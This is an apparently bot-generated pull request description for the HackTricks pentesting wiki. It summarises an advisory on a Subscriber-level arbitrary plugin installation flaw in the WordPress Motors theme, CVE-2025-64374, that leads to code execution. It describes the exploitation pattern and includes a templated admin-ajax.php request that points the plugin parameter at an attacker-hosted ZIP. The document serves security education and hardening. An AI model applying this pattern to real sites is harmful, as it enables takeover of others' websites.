Critical Arbitrary File Upload Vulnerability in Motors Theme...

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/
• Blog Title: Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
• Suggested Section: Network Services Pentesting -> 80,443 - Pentesting Web Methodology -> Wordpress (new subsection such as 'AJAX Plugin Installer Abuse to RCE')

🎯 Content Summary

This article analyzes a critical Subscriber+ arbitrary file upload / arbitrary plugin installation vulnerability in the WordPress Motors theme affecting over 20,000 sites. The bug affects versions 5.6.81 and below and is tracked as CVE-2025-64374 with a CVSS score of 9.9. Exploitation allows any authenticated user with Subscriber or higher role to install and activate arbitrary plugins from attacker-controlled URLs, enabling upload and execution of ma...

🔧 Technical Details

Trick: Turning weakly protected WordPress AJAX plugin installers into RCE
This article illustrates a general exploitation pattern for WordPress components that expose plugin/theme installation over AJAX. If an authenticated AJAX endpoint (e.g. wp_ajax_some_install_action) uses check_ajax_referer() but does not enforce capabilities via current_user_can(), and it takes a user-controlled URL that is passed into Plugin_Upgrader::install(), then any low-privileged user who can obtain the nonce can escalate to code execution. The attacker logs in, views a page that embeds the nonce, copies it, and crafts a direct request to /wp-admin/admin-ajax.php with:
action=<ajax_action>&nonce=<leaked_nonce>&plugin=<attacker_zip_url>.
The target downloads and installs the remote ZIP as a plugin, then activates it (either via custom activation logic or WordPress APIs), ex...

🤖 Agent Actions

Summary:

• Expanded the WordPress pentesting guide with a new subsection explaining how Motors theme’s wp_ajax_mvl_theme_install_base installer can be abused by Subscriber-level users to deploy and activate arbitrary plugins, including exploitation steps, sample request, detection heuristics, and hardening guidance tied to the 5.6.82 patch.
• Added the Patchstack advisory for the Motors theme arbitrary plugin installation flaw to the References list.

Testing:

• Not run (not applicable for documentation updates).

---

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

📚 Repository Maintenance

• MD files processed: 926
• MD files fixed: 1

All .md files have been checked for proper formatting (headers, includes, etc.).

[carlospolop]

🔗 Additional Context

Original Blog Post: https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/

Content Categories: Based on the analysis, this content was categorized under "Network Services Pentesting -> 80,443 - Pentesting Web Methodology -> Wordpress (new subsection such as 'AJAX Plugin Installer Abuse to RCE')".

Repository Maintenance:

• MD Files Formatting: 926 files processed (1 files fixed)

Review Notes:

• This content was automatically processed and may require human review for accuracy
• Check that the placement within the repository structure is appropriate
• Verify that all technical details are correct and up-to-date
• All .md files have been checked for proper formatting (headers, includes, etc.)

Bot Version: HackTricks News Bot v1.0